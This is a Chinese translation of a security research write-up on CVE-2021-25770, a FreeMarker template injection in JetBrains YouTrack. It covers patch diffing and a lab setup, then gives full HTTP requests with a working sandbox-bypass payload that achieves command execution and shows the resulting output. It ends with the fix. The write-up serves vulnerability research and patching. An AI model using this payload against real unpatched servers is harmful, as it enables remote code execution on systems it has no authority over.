原文:
https://www.synacktiv.com/publications/exploiting-cve-2021-25770-a-server-side-template-injection-in-youtrack
几天前,我们在Twitter feed中发现了此漏洞:
新增:CVE-2021-25770
在2020.5.3123之前的JetBrains YouTrack中,可能进行服务器端模板注入(SSTI),这可能导致代码执行。
严重性:严重
在没有搜到POC,我们决定自己写一个。Jetbrains网站上除了说该漏洞由Vasily Vasilkov [1]发现的,其他啥也没说。
对比源码:
可以从www.jetbrains.com下载YOUTRACK免费版,我们下载了有漏洞的版本(2020.5.2579)和修复版(2020.5.3123),然后开始对比。我们很快发现该软件使用Freemaker作为模板引擎。
$ ls youtrack-2020.5.2579/apps/youtrack/web/WEB-INF/lib | grep free
-rw-r--r-- 1 us3r777 us3r777 1350624 25 nov. 17:53 freemarker-2.3.23.jar
$ ls youtrack-2020.5.3123/apps/youtrack/web/WEB-INF/lib | grep free
-rw-r--r-- 1 us3r777 us3r777 1702975 2 déc. 15:07 freemarker-2.3.30.jar
有漏洞的版本使用的freemaker-2.3.23,修复版使用的freemaker-2.3.30。
提取所有库后,我们确定发现notification 模块大量使用Freemarker,因此我们决定首先关注这一模块。
$ grep 'Freemarker' -ril | cut -d '/' -f1 | sort | uniq -c
1 youtrack-application-2020.5.2579.jar-dir
53 youtrack-notifications-2020.5.2579.jar-dir
2 youtrack-scripts-2020.5.2579.jar-dir
1 youtrack-webapp-2020.5.2579.jar-dirwo
我们对比了两个版本,发现确实有很多更新在notification模块。
$ diff -bur youtrack-2020.5.2579_libs/youtrack-notifications-2020.5.2579.jar-dir youtrack-2020.5.3123_libs/youtrack-notifications-2020.5.3123.jar-dir
Binary files youtrack-2020.5.2579_libs/youtrack-notifications-2020.5.2579.jar-dir/jetbrains/youtrack/notifications/controller/FreemarkerConfiguration.class and youtrack-2020.5.3123_libs/youtrack-notifications-2020.5.3123.jar-dir/jetbrains/youtrack/notifications/controller/FreemarkerConfiguration.class differ
Binary files youtrack-2020.5.2579_libs/youtrack-notifications-2020.5.2579.jar-dir/jetbrains/youtrack/notifications/model/EntityExtendedBeansWrapper$Companion$ITERABLE_FACTORY$1.class and youtrack-2020.5.3123_libs/youtrack-notifications-2020.5.3123.jar-dir/jetbrains/youtrack/notifications/model/EntityExtendedBeansWrapper$Companion$ITERABLE_FACTORY$1.class differ
Binary files youtrack-2020.5.2579_libs/youtrack-notifications-2020.5.2579.jar-dir/jetbrains/youtrack/notifications/model/EntityExtendedBeansWrapper$Companion.class and youtrack-2020.5.3123_libs/youtrack-notifications-2020.5.3123.jar-dir/jetbrains/youtrack/notifications/model/EntityExtendedBeansWrapper$Companion.class differ
Binary files youtrack-2020.5.2579_libs/youtrack-notifications-2020.5.2579.jar-dir/jetbrains/youtrack/notifications/model/EntityExtendedBeansWrapper.class and youtrack-2020.5.3123_libs/youtrack-notifications-2020.5.3123.jar-dir/jetbrains/youtrack/notifications/model/EntityExtendedBeansWrapper.class differ
Only in youtrack-2020.5.3123_libs/youtrack-notifications-2020.5.3123.jar-dir/jetbrains/youtrack/notifications/model: StrictMemberAccessPolicy$forClass$1.class
Only in youtrack-2020.5.3123_libs/youtrack-notifications-2020.5.3123.jar-dir/jetbrains/youtrack/notifications/model: StrictMemberAccessPolicy.class
在Docker容器中搭建Youtrack:
为了熟悉该软件并检查是否可以快速找到注入点,我们使用docker安装了有漏洞的版本:
docker run -it --name youtrack-instance1 -v data:/opt/youtrack/data -v conf:/opt/youtrack/conf -v logs:/opt/youtrack/logs -v backups:/opt/youtrack/backups -p 8888:8080 jetbrains/youtrack:2020.5.2579
完成安装后,我们在管理面板中发现了“通知模板”功能:

此功能允许用户定义通知的自定义模板:

根据YouTrack的文档:
通知模板为您提供了用于自定义电子邮件和Jabber通知的工具,以适合您的用户通信需求。
使用此功能,可以配置直接在网页中呈现的自定义模板。这是模板注入发生的点。

SSTI利用:
poc:
POST /api/admin/notificationSupplement/preview?$top=-1&fields=output,issueId,error HTTP/1.1
Host: youtrackvm:8888
Content-Type: application/json;charset=utf-8
Authorization: Bearer 1612803692855.73d6ee6b-88af-4530-8424-0aad4405a599.bc65b13d-cf89-432f-8ad0-5da62323d2a0.73d6ee6b-88af-4530-8424-0aad4405a599 4a741f89-0ec7-4fb0-baf4-9408a09c6499 0-0-0-0-0;1.MC0CFQCSpkBaxPJ/ym9G45iYUte4QlWg9AIUVi8r3/WM4JPq5PARRKepm4IJ5xE=
Content-Length: 108
Cookie: YTJSESSIONID=node0p6q2ue0829ghxc19jjsjwgpw97.node0
{
"template": {
"fileName": "article_digest_subject.ftl",
"content": "${191*7}"
}
}
HTTP/1.1 200 OK
[...]
{"issueId":null,"output":"1,337","error":null,"$type":"NotificationPreview"}
尝试使用传统的freemarker.template.utility.Execute方法[3]直接执行命令失败,并出现以下错误:
POST /api/admin/notificationSupplement/preview?$top=-1&fields=output,issueId,error HTTP/1.1
Host: youtrackvm:8888
Content-Type: application/json;charset=utf-8
Authorization: Bearer 1612803692855.73d6ee6b-88af-4530-8424-0aad4405a599.bc65b13d-cf89-432f-8ad0-5da62323d2a0.73d6ee6b-88af-4530-8424-0aad4405a599 4a741f89-0ec7-4fb0-baf4-9408a09c6499 0-0-0-0-0;1.MC0CFQCSpkBaxPJ/ym9G45iYUte4QlWg9AIUVi8r3/WM4JPq5PARRKepm4IJ5xE=
Content-Length: 171
Cookie: YTJSESSIONID=node0p6q2ue0829ghxc19jjsjwgpw97.node0
{
"template": {
"fileName": "article_digest_subject.ftl",
"content":"<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(\"id\")}"
}
}
HTTP/1.1 200 OK
{"issueId":null,"output":"[error] [error]","error":null,"$type":"NotificationPreview"}
通过挖掘应用程序日志,我们可以找到更清晰的消息:
FreeMarker template error:
Instantiating freemarker.template.utility.Execute is not allowed in the template for security reasons.
此错误是由于在 jetbrains
/ youtrack / notifications / controller / FreemarkerConfiguration.class中将Freemarker模板类解析器[4]设置为ALLOWS_NOTHING_RESOLVER所致。
绕过沙箱执行命令:
对我们来说幸运的是,在低于2.3.30的Freemarker版本中存在绕过执行代码的方法。AlvaroMuñoz
和Oleksandr Mirosh在BLACKHAT USA 2020提出了一个思路[5] 。
绕过依赖于找到允许调用newInstance()方法的Public static field。我们使用在Alvaro和Oleksandr的白皮书中定义的freemarker.template.ObjectWrapper类的DEFAULT_WRAPPER字段来获取远程代码执行:
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
POC:
POST /api/admin/notificationSupplement/preview?$top=-1&fields=output,issueId,error HTTP/1.1
Host: youtrackvm:8888
Content-Type: application/json;charset=utf-8
Authorization: Bearer 1612803692855.73d6ee6b-88af-4530-8424-0aad4405a599.bc65b13d-cf89-432f-8ad0-5da62323d2a0.73d6ee6b-88af-4530-8424-0aad4405a599 4a741f89-0ec7-4fb0-baf4-9408a09c6499 0-0-0-0-0;1.MC0CFQCSpkBaxPJ/ym9G45iYUte4QlWg9AIUVi8r3/WM4JPq5PARRKepm4IJ5xE=
Content-Length: 393
Cookie: YTJSESSIONID=node0p6q2ue0829ghxc19jjsjwgpw97.node0
{
"template": {
"fileName": "article_digest_subject.ftl",
"content":"<#assign classloader=article.class.protectionDomain.classLoader><#assign owc=classloader.loadClass(\"freemarker.template.ObjectWrapper\")><#assign dwf=owc.getField(\"DEFAULT_WRAPPER\").get(null)><#assign ec=classloader.loadClass(\"freemarker.template.utility.Execute\")>${dwf.newInstance(ec,null)(\"id\")}"
}
}
HTTP/1.1 200 OK
[...]
{"issueId":null,"output":"uid=13001(jetbrains) gid=13001(jetbrains) groups=13001(jetbrains)\n","error":null,"$type":"NotificationPreview"}
补丁:
Freemarker 2.3.30中不能使用以前的Payload,引入了一个基于MemberAccessPolicy的新沙箱。默认策略改善了黑名单,并禁止通过反射访问ClassLoader方法和公共字段[6]。
查看Youtrack的补丁版本,我们注意到Freemarker现在已配置了StrictMemberAccessPolicy
更新YouTrack到2020.5.3123防止此漏洞的利用。
引用:
[1] https://blog.jetbrains.com/blog/2021/02/03/jetbrains-security-bulletin-q4-2020/ - CVE-2021-25770 announcement
[2] https://freemarker.apache.org/ - Freemarker templating engine
[3] https://portswigger.net/research/server-side-template-injection - Basic SSTI exploitation
[4] https://freemarker.apache.org/docs/api/freemarker/core/TemplateClassResolver.html - Freemarker TemplateClassResolver
[5] https://media.defcon.org/DEF%20CON%2028/DEF%20CON%20Safe%20Mode%20presentations/DEF%20CON%20Safe%20Mode%20-%20Alvaro%20Mun%CC%83oz%20and%20Oleksandr%20Mirosh%20-%20Room%20For%20Escape%20Scribbling%20Outside%20The%20Lines%20Of%20Template%20Security.pdf - Scribbling outside the lines of template security BH USA 2020, Alvaro Muñoz and Oleksandr Mirosh
[6] https://freemarker.apache.org/docs/api/freemarker/ext/beans/MemberAccessPolicy.html - MemberAccessPolicy in Freemarker 2.3.30
译者按:
软件中错误的使用第三方库,可能造成安全隐患。同样,渗透测试项目中,一些安全性很好的大厂,使用第三方购买的软件同样可能存在安全隐患,这些第三方的软件上线前,是否经过了安全评估,是否经过了code review,甚至代码本身的质量,我们都要打一个问号。如果大家在挖一些安全性比较好的厂商没有很好的产出,不妨转过头来看一看他们有没有部署第三方的服务、软件。
本文迁移自知识星球“火线Zone”